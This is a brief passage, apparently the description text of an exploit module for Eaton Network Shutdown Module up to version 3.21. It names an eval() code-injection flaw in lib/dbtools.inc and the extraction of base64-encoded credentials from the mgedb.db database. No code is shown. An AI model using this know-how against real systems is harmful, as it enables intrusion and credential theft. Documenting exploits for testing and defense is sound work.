          This module exploits a vulnerability in Eaton Network Shutdown Module
          version <= 3.21, in lib/dbtools.inc which uses unsanitized user input
          inside a eval() call. Additionally the base64 encoded user credentials
          are extracted from the database of the application. Please note that
          in order to be able to steal credentials, the vulnerable service must
          have at least one USV module (an entry in the "nodes" table in
          mgedb.db)
